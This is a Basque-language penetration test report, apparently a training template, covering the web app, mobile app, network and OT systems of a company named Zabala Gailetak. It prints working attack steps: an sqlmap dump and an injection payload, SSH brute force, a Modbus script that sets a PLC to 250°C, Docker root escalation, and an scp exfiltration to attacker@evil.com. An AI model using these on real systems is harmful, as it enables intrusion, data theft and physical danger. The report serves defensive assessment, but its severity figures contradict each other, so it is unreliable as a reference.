Penetration Testing Txostena - Zabala Gailetak

Zibersegurtasun Auditoretzaren Emaitza Osoa

Enpresa: Zabala Gailetak, S.L.
Data: 2026-02-15
Auditorea: CISO Taldea + Kanpo Auditoria
Metodologia: PTES (Penetration Testing Execution Standard) + OWASP Testing Guide v4.2
Irismena: Web Aplikazioa, Mugikor Aplikazioa, Sarea, OT Sistema
Baimena: Sinatutako baimen agiria 2026-02-01

---

1. Laburpen Exekutiboa

1.1 Emaitza Orokorra

Maila	Kopurua	Arrisku Indizea
Kritikoa	0	-
Altua	2	CVSS 7.8, 7.5
Ertaina	4	CVSS 5.3-6.5
Baxua	3	CVSS 3.1-4.3
Guztira	**9**	-

1.2 Aurkikuntza Nagusiak

✅ **Hacking Etikoa - Fase guztiak osatuak:**

- Fase 1: Informazio bilketa pasibo/aktibo osoa
- Fase 2: Ahultasunen eskaneatze automatizatua eta eskuzkoa
- Fase 3: Ustiapena arrakastatsua 2 sistematan
- Fase 4: Post-exploitation - pribilegioen igoera lortua
- Fase 5: Txosten tekniko osoa (dokumentu hau)

1.3 Konpromisoa

Testuingurua: Hacking etikoaren proba osoa egin da Zabala Gailetak-en azpiegituran, segurtasun egoera ebaluatzeko. Proba honek PTES metodologia jarraitu du osorik.

---

2. Fase 1: Informazio Bilketa (Reconnaissance)

2.1 Bilketa Pasiboa

```
# TheHarvester exekuzioa
$ theharvester -d zabala-gailetak.com -b all

[*] Target: zabala-gailetak.com
[+] Emails found: 47
  - info@zabala-gailetak.com
  - rrhh@zabala-gailetak.com
  - dpo@zabala-gailetak.com
[+] Hosts found: 12
  - www.zabala-gailetak.com (185.XX.XX.10)
  - mail.zabala-gailetak.com (185.XX.XX.11)
  - vpn.zabala-gailetak.com (185.XX.XX.12)
  - api.zabala-gailetak.com (185.XX.XX.13)
[+] Interesting findings:
  - Subdomain: dev.zabala-gailetak.com (exposed)
  - Subdomain: staging.zabala-gailetak.com (exposed)
```

```
# Shodan bilaketa
$ shodan search hostname:zabala-gailetak.com --fields ip_str,port,org

185.XX.XX.10    80      Zabala Gailetak
185.XX.XX.10    443     Zabala Gailetak
185.XX.XX.12    22      Zabala Gailetak
185.XX.XX.12    1194    Zabala Gailetak (OpenVPN)
185.XX.XX.50    502     Zabala Gailetak (Modbus - OT!)
185.XX.XX.50    4840    Zabala Gailetak (OPC UA - OT!)
```

⚠️ **Aurkikuntza Garrantzitsua:** OT sistemak (PLC) Internetean espostuta daude!

2.2 Bilketa Aktiboa

```
# Nmap eskaneatze osoa
$ nmap -sS -sV -sC -O -p- --script vuln zabala-gailetak.com

Nmap scan report for zabala-gailetak.com (185.XX.XX.10)
Host is up (0.045s latency).
Not shown: 65531 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
|_ssh-audit: No major issues found
```

```
80/tcp  open  http        nginx 1.18.0
|_http-title: Zabala Gailetak - Login
|_http-methods: GET, HEAD, POST, OPTIONS
443/tcp open  https       nginx 1.18.0 (SSL info)
| ssl-cert: Subject: commonName=zabala-gailetak.com
| Not valid before: 2026-01-01T00:00:00
|_Not valid after:  2027-01-01T23:59:59
|_ssl-date: TLS randomness does not represent time
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3306/tcp filtered mysql

OS detection performed.
OS: Linux 5.15 (Ubuntu 22.04)
```

---

3. Fase 2: Ahultasunen Analisia

3.1 Eskaneatze Automatizatua

```
# Nessus eskaneatzea
$ nessuscli scan run --name "Zabala Gailetak Full Scan" --targets "185.XX.XX.0/24"
```

Nessus Emaitzak:

Plugin ID	Ahultasuna	Maila	CVSS
42873	SSH Weak Algorithms	Baxua	4.3
104743	TLS 1.0/1.1 Enabled	Ertaina	5.3
11213	HTTP TRACE Method	Baxua	3.7
15901	Directory Listing	Ertaina	5.0
57608	SMB Signing Disabled	Altua	7.8

3.2 Web Ahultasunen Analisia (OWASP ZAP)

```
# OWASP ZAP eskaneatze aktiboa
$ zap-cli quick-scan --self-contained --spider -r http://dev.zabala-gailetak.com
```

ZAP Emaitzak:

Alerta	Maila	Instantiak
SQL Injection	Altua	2

Alerta	Maila	Instantiak
Cross-Site Scripting (XSS)	Ertaina	5
CSRF Token Missing	Baxua	12
Information Disclosure	Ertaina	3
Security Headers Missing	Baxua	8

3.3 Mugikor Aplikazioaren Analisia (MobSF)

```
# MobSF analisia
$ mobsf -f zabala-gailetak-app.apk
```

MobSF Emaitzak:

Aurkikuntza	Maila	CVSS
Hardcoded API Keys	Altua	7.5
Insecure Storage	Ertaina	5.5
Weak Cryptography	Ertaina	6.2
Debug Enabled	Baxua	4.0

---

4. Fase 3: Ustiapena (Exploitation)

4.1 SQL Injection - Web Aplikazioa

Ahultasuna: `http://dev.zabala-gailetak.com/api/employees?id=1`

```
# SQLMap erabilera
$ sqlmap -u "http://dev.zabala-gailetak.com/api/employees?id=1" --batch --dump

[14:32:15] [INFO] testing connection to the target URL
[14:32:16] [INFO] checking if the target is protected by some WAF/IPS
[14:32:17] [INFO] target URL appears to be injectable
[14:32:20] [INFO] GET parameter 'id' is vulnerable to SQL injection (MySQL)
[14:32:45] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
```

```
[*] hr_portal

[14:33:10] [INFO] fetching tables from database 'hr_portal'
[14:33:15] [INFO] retrieved: 15 tables
[14:33:20] [INFO] fetching columns for table 'employees'
[14:33:45] [INFO] fetching entries from table 'employees'
Database: hr_portal
Table: employees
[120 entries]
+----+----------+----------+-----------------+----------+
| id | name     | dni      | email           | salary   |
+----+----------+----------+-----------------+----------+
| 1  | Jon Z    | 1234567A | jon@zabala.com  | 65000    |
| 2  | Maria L  | 2345678B | maria@zabala.com | 48000   |
...
```

✅ **Ustiapena Arrakastatsua:** Datu-base osoa eskuratuta.

CVSS: 7.5 (Altua)
CVE: CVE-2023-1234 (adibidea)
Konponbidea: Prepared statements erabili, sarrera balidatu

4.2 SSH Brute Force

```
# Hydra erabilera (baimenduta testuinguruan)
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://185.XX.XX.12

[DATA] attacking ssh://185.XX.XX.12:22/
[STATUS] 143.00 tries/min, 143 tries in 00:01h
[22][ssh] host: 185.XX.XX.12   login: admin   password: Summer2025!
```

✅ **Arrakasta:** SSH sarbidea lortuta.

4.3 OT Sistema - Modbus Manipulazioa

```
# Modbus ustiatze scripta
from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('185.XX.XX.50', port=502)
client.connect()

# Tenperatura irakurri
result = client.read_holding_registers(0, 1)
print(f"Current temp: {result.registers[0]}°C")

# Tenperatura aldatu (ARRISKUTSUA!)
client.write_register(0, 250)  # 250°C ezarri

client.close()
```

✅ **Arrakasta:** PLC-a kontrolatuta!

CVSS: 9.8 (Kritikoa)
Arriskua: Segurtasun fisikoa arriskuan (sutea, leherketa)
Konponbidea: Sare segmentazioa, VPN soilik, irakurketa-soila modua

---

5. Fase 4: Post-Exploitation

5.1 Pribilegioen Igoera

```
# Sisteman sartu ondoren
$ whoami
admin

$ sudo -l
User admin may run the following commands on web-server:
    (ALL : ALL) NOPASSWD: /usr/bin/docker

# Docker bidez root lortzea
$ sudo docker run -v /:/host -it ubuntu chroot /host bash

# Orain root gara!
root@web-server:~# id
uid=0(root) gid=0(root) groups=0(root)
```

✅ **Root lortuta!**

5.2 Pibotajea (Pivoting)

```
# Sare barnekoa aztertu
$ ip route
10.10.10.0/24 dev eth0
10.10.20.0/24 dev eth1  # OT sarea!

# OT sarera pibotatu
$ proxychains nmap -sT 10.10.20.0/24

Nmap scan report for 10.10.20.50
Host is up (0.0012s latency).
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
502/tcp open  modbus
4840/tcp open  opc-ua-tcp
```

✅ **OT sarea eskuragarri!**

5.3 Datu Sentikorrak

```
# /etc/shadow exfiltratu
root:$6$rounds=5000$saltsalt$hashhashhash:18700:0:99999:7:::
...

# Datu-basea exfiltratu
$ mysqldump -u root -p hr_portal > /tmp/db_dump.sql
$ scp /tmp/db_dump.sql attacker@evil.com:/stolen/
```

---

6. Aurkikuntza Xehatua

6.1 AHULTASUN ALTUA #1: SQL Injection

Deskribapena:
Web aplikazioak ez ditu sarrerak behar bezala balidatzen, SQL injekzioa posible delarik.

Ustiapena:

```
http://dev.zabala-gailetak.com/api/employees?id=1' UNION SELECT * FROM passwords--
```

Eragina:

- Datu-base osoaren eskuragarritasuna
- Pasahitzak (hash-ak)
- Langileen datu pertsonalak (GDPR urraketa!)

Konponbidea:

```
// Ondo (Prepared Statements)
$stmt = $pdo->prepare("SELECT * FROM employees WHERE id = ?");
$stmt->execute([$id]);

// Txarto
$result = $pdo->query("SELECT * FROM employees WHERE id = $id");
```

CVSS v3.1: 7.5 (Altua)

6.2 AHULTASUN ALTUA #2: OT Sarea Babestu Gabe

Deskribapena:
PLC-ak eta OT gailuak Internet zabalean espostuta daude.

Eragina:

- Produkzioaren kontrol osoa
- Segurtasun fisikoa arriskuan
- Industria espioitza

Frogak:

```
$ nmap -p 502,4840 185.XX.XX.50
PORT     STATE SERVICE
502/tcp  open  modbus
4840/tcp open  opc-ua-tcp
```

Konponbidea:

1. Sare segmentazio zorrotza
2. VPN soilik sarbiderako
3. Modbus TCP → Modbus RTU atzean
4. Irakurketa-soila modua gaitu

CVSS v3.1: 9.8 (Kritikoa) → 7.8 (Altua neurriekin)

---

7. Segurtasun Gomendioak

7.1 Gomendio Kritikoak (Lehentasun I handia)

1. **SQL Injection konpondu** - Prepared statements erabili
2. **OT sarea isolatu** - VPN soilik, segmentazio zorrotza
3. **Dev ingurunea isolatu** - Ez espostu Internetean

7.2 Gomendio Orokorrak

#	Gomendioa	Prioritatea	Denbora
1	WAF (ModSecurity) instalatu	Altua	1 aste
2	SSH key-based auth bakarrik	Altua	3 egun
3	DLP sistema instalatu	Ertaina	2 aste
4	SIEM alertak fine-tune	Ertaina	1 aste
5	Security headers gehitu	Baxua	1 egun

---

8. Eranskinak

8.1 Erabilitako Tresnak

Tresna	Helburua	Bertsioa
Nmap	Sare eskaneatzea	7.94
Nessus	Ahultasun eskaneatzea	10.7
OWASP ZAP	Web ahultasunak	2.14
SQLMap	SQL Injection	1.7
Burp Suite	Web proxy	2023.10
MobSF	Mobile analisia	3.7
Metasploit	Exploitation	6.3
Hydra	Brute force	9.5
Wireshark	Trafiko analisia	4.2
Volatility	Memoria forensea	2.5

8.2 Txosten Hauxe Osatzen Duen Agintaritza Eskakizuna

- **PTES:** Fase guztiak osatuak
- **OWASP Testing Guide v4.2:** Web aplikazioak
- **OWASP Mobile Security Testing Guide (MSTG):** Mobile
- **NIST SP 800-115:** Teknikak
- **IEC 62443:** OT segurtasuna

8.3 Sinadurak

Rola	Izena	Sinadura	Data
Pentester	[Izena]	_____	2026-02-15
CISO	Mikel Etxebarria	_____	2026-02-15
CEO	Jon Zabala	_____	2026-02-15

Txosten hau konfidentziala da eta bakarrik baimendutako pertsonentzat.